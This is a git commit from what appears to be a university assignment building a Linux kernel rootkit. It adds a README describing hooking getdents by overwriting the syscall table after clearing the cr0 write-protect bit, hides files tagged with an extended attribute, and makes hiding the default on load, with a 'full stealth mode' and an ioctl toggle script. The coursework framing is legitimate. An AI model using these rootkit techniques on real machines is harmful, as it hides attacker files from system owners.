commit 988431c67ac4e65e787de5dd01c8f401a1bd25af
parent c095ddabeb73914893cb196bd9bc3c833528ed94
Author: deurzen <m.deurzen@tum.de>
Date: Thu, 26 Nov 2020 15:22:59 +0100
adds changes from rkp repo
Diffstat:
7 files changed, 74 insertions(+), 34 deletions(-)
diff --git a/Makefile b/Makefile
@@ -12,7 +12,7 @@ $(TARGET)-objs := $(SRC_FILES:%.c=%.o)
ccflags-y := -std=gnu99 -Wno-declaration-after-statement
-all: test
+all: build
debug: clean
@make -C $(KERNELDIR) M=$(PWD) ccflags-y="-DDEBUG" modules
@@ -26,20 +26,20 @@ clean:
@make -C $(KERNELDIR) M=$(PWD) clean
test: debug remove clear_dmesg install
- -@sudo ./check_pingpong.py /proc/g7rkp
+ -@./check_pingpong.py /proc/g7rkp
-@dmesg
.PHONY: install
install:
- -@sudo insmod ./$(TARGET).ko
+ -@insmod ./$(TARGET).ko
.PHONY: remove
remove:
- -@sudo rmmod $(TARGET)
+ -@rmmod $(TARGET)
.PHONY: clear_dmesg
clear_dmesg:
- @sudo dmesg -c >/dev/null
+ @dmesg -c >/dev/null
.PHONY: dmesg
dmesg:
diff --git a/README.md b/README.md
@@ -0,0 +1,50 @@
+# Assignment 3: Kernel Space
+
+This README documents our implementation of assignment 3.
+
+## File Structure
+
+```bash
+.
++--Makefile
++--check_filehiding The provided checker for filehiding
++--check_pingpong.py The checker for PingPong with our ioctl-value
++--toggle_filehiding.py Toggles our filehiding functionality (default: enabled)
++--src/
+| +--common.c Macros for debugging
+| +--filehide.c Utility functions for file hiding
+| +--filehide.h
+| +--g7.c General module setup and ioctl handling
+| +--hook.c Our hooked getdents{,64} functions and syscall hooking
+| +--hook.h
+| +--ioctl.c Utility functions for handling ioctl and debugging features
+| +--ioctl.h Definitions for our ioctl numbers
+| +--rootkit.h
+```
+
+## Usage
+
+To install _with_ debug messages: `make debug && sudo make install`; this will generate helpful messages to the kernel log, such as when ioctl requests are received and handled.
+
+To install _without_ debug messages: `make release && sudo make install`; this will run the rootkit in full stealth mode.
+
+## General Approach
+
+ ### Rootkit Control Program
+
+For this part, we relied on our device file in `/proc/g7rkp`. By implementing operations in a `struct file_operations`, we can react to incoming ioctl requests on our device file. The only meaningful operation is currently `unlocked_ioctl`.
+
+
+### File Hiding
+
+In order to hide files, we had to hook `getdents{,64}`. This is achieved by overwriting the syscall table with our own entries. We faced two hurdles here:
+
+1. Retrieving the syscall table.
+
+ This is solved by the `kallsysms_lookup_name` function, which retrieves the address of the syscall table (stored in `/proc/kallsysm`).
+
+2. Writing into read-only pages.
+
+ This is solved by unsetting the WP bit (cf. Intel IA64 & IA-32 SDM, Vol. 3A 2-15) of the control register cr0, allowing us to overwrite the entries in the syscall table.
+
+In our hooked `getdents{,64}` functions, we first of all execute the original syscall. After that, we gather every entry in the directory that `getdents{,64}` was called on and store them if the extented attribute `user.rootkit` is set to `rootkit`. This is done by iterating the `d_subidrs` linked list. With all this information, we can now loop over the `linux_dirent` array and remove every entry we want to hide.
diff --git a/src/filehide.c b/src/filehide.c
@@ -9,7 +9,7 @@
#include "filehide.h"
#include "hook.h"
-#define SIZE 64
+#define BUFLEN 64
void
hide_files(void)
@@ -33,11 +33,11 @@ unhide_files(void)
unsigned long
must_hide_inode(struct dentry *dentry)
{
- char buf[SIZE];
+ char buf[BUFLEN];
if(dentry && dentry->d_inode)
if(!inode_permission(dentry->d_inode, MAY_READ)) {
- ssize_t len = vfs_getxattr(dentry, G7_XATTR_NAME, buf, SIZE);
+ ssize_t len = vfs_getxattr(dentry, G7_XATTR_NAME, buf, BUFLEN);
if (len > 0 && !strncmp(G7_XATTR_VAL, buf, strlen(G7_XATTR_VAL)))
return dentry->d_inode->i_ino;
diff --git a/src/g7.c b/src/g7.c
@@ -40,7 +40,7 @@ static struct file_operations g7_fops =
rootkit_t rootkit = {
- .hiding_files = false,
+ .hiding_files = true,
};
diff --git a/src/hook.c b/src/hook.c
@@ -42,6 +42,9 @@ init_hooks(void)
atomic_set(&getdents64_count, 0);
sys_getdents64 = (void *)sys_calls[__NR_getdents64];
+
+ if (rootkit.hiding_files)
+ hide_files();
}
void
diff --git a/toggle_filehide.py b/toggle_filehide.py
@@ -1,25 +0,0 @@
-#!/usr/bin/env python3
-
-import fcntl
-import os
-import unittest
-import argparse
-import sys
-
-IOCTL_FILEHIDE = 0x80084001
-
-proc_fd = None
-
-class TestIOCTLPing(unittest.TestCase):
- def test_filehide(self):
- arg = b"FILEHIDE"
- res = fcntl.ioctl(proc_fd, IOCTL_FILEHIDE, arg)
- self.assertEqual(res, b"FILEHIDE")
-
-if __name__ == "__main__":
- parser = argparse.ArgumentParser()
- parser.add_argument("proc_file")
- args, remaining = parser.parse_known_args()
- proc_fd = os.open(args.proc_file, os.O_RDWR)
-
- unittest.main(argv=[sys.argv[0]] + remaining)
diff --git a/toggle_filehiding.py b/toggle_filehiding.py
@@ -0,0 +1,12 @@
+#!/usr/bin/env python3
+
+import fcntl
+import os
+import sys
+
+IOCTL_FILEHIDE = 0x80084001
+
+if __name__ == "__main__":
+ proc_file = "/proc/g7rkp"
+ proc_fd = os.open(proc_file, os.O_RDWR)
+ fcntl.ioctl(proc_fd, IOCTL_FILEHIDE, b"FILEHIDE");